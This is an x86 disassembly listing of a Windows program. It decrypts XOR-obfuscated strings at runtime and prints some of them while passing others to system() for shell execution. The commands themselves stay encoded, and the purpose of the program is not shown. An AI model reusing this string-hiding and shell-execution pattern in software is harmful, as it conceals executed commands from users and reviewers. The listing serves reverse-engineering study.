mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call fcn.0040e110
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x30c]
mov dword [ebp - 0x120], 0xfe9e809d
mov word [ebp - 0x11c], 0x8fea
test al, 1
jne 0x403d68
or eax, 1
mov dword [edi + 0x30c], eax
mov dword [ebp - 4], 0x15
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x7e2], 1
nop
mov al, byte [ebp + ecx - 0x120]
mov byte [edi + ecx + 0x7dc], al
add ecx, 1
adc edx, 0
jne 0x403d5b
cmp ecx, 6
jb 0x403d40
push 0x4132f0
call fcn.00410439
add esp, 4
cmp byte [edi + 0x7e2], 0
lea edi, [edi + 0x7dc]
je 0x402d8b
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov ebx, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x8debe1ed
and ecx, 7
mov edx, 0xbfe78f8f
shl ecx, 3
call fcn.00410f40
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
jne 0x402d87
cmp esi, 6
jb 0x403d92
jmp 0x402d87
mov edx, dword [ebp - 0x124]
mov ecx, ebx
push esi
call fcn.00402120
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x404162
mov eax, dword [edi + 0x360]
mov dword [ebp - 0x124], 0x593ab91c
test al, 1
jne 0x403e4f
or eax, 1
mov dword [edi + 0x360], eax
mov dword [ebp - 4], 0x16
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x4c0], 1
nop
mov al, byte [ebp + ecx - 0x124]
mov byte [edi + ecx + 0x4bc], al
add ecx, 1
adc edx, 0
jne 0x403e3b
cmp ecx, 4
jb 0x403e20
push 0x4132b0
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x4c0], 0
lea ebx, [edi + 0x4bc]
je 0x403ea6
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x5949d57f
and ecx, 7
mov edx, 0x69bd2b5b
shl ecx, 3
call fcn.00410f40
xor byte [ebx + esi], al
add esi, 1
adc edi, 0
jne 0x403e9c
cmp esi, 4
jb 0x403e75
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 4], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [edi + 0x540]
add esp, 4
mov dword [ebp - 0x120], 0xa0091838
mov dword [ebp - 0x11c], 0x29c86de1
test al, 1
jne 0x403f2f
or eax, 1
mov dword [edi + 0x540], eax
mov dword [ebp - 4], 0x17
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x344], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x120]
mov byte [ecx + edi + 0x33c], al
add ecx, 1
adc edx, 0
jne 0x403f1b
cmp ecx, 8
jb 0x403f00
push 0x413270
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x344], 0
lea ebx, [edi + 0x33c]
je 0x403f86
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0xcf65775b
and ecx, 7
mov edx, 0x298b4d93
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x403f7c
cmp esi, 8
jb 0x403f55
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 8], 0
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x415750]
add esp, 4
mov eax, dword [edi + 0x670]
mov word [ebp - 0x138], 0x87e2
mov byte [ebp - 0x136], 0xbf
movups xmmword [ebp - 0x148], xmm0
test al, 1
jne 0x40401f
or eax, 1
mov dword [edi + 0x670], eax
mov dword [ebp - 4], 0x18
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov byte [edi + 0x5ab], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x148]
mov byte [ecx + edi + 0x598], al
add ecx, 1
adc edx, 0
jne 0x40400b
cmp ecx, 0x13
jb 0x403ff0
push 0x413230
call fcn.00410439
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x5ab], 0
lea ebx, [edi + 0x598]
je 0x404076
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov edi, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0xefbff58d
and ecx, 7
mov edx, 0xdd3955d9
shl ecx, 3
call fcn.00410f40
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x40406c
cmp esi, 0x13
jb 0x404045
mov edi, dword [ebp - 0x12c]
mov byte [ebx + 0x13], 0
push 0x40e560
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call fcn.0040e110
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x578]
mov dword [ebp - 0x120], 0x602efec3
mov word [ebp - 0x11c], 0x35f2
test al, 1
jne 0x404108
or eax, 1
mov dword [edi + 0x578], eax
mov dword [ebp - 4], 0x19
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov edx, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov byte [edi + 0x702], 1
nop
mov al, byte [ebp + ecx - 0x120]
mov byte [ecx + edi + 0x6fc], al
add ecx, 1
adc edx, 0
jne 0x4040fb
cmp ecx, 6
jb 0x4040e0
push 0x4131f0
call fcn.00410439
add esp, 4
cmp byte [edi + 0x702], 0
lea edi, [edi + 0x6fc]
je 0x402d8b
xorps xmm0, xmm0
movlpd qword [ebp - 0x120], xmm0
mov ebx, dword [ebp - 0x11c]
mov esi, dword [ebp - 0x120]
mov ecx, esi
mov eax, 0x135b9fb3
and ecx, 7
mov edx, 0xd9a53597
shl ecx, 3
call fcn.00410f40
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x402d87
cmp esi, 6
jb 0x404132
jmp 0x402d87
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x11c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004100f0
mov esp, ebp
pop ebp
ret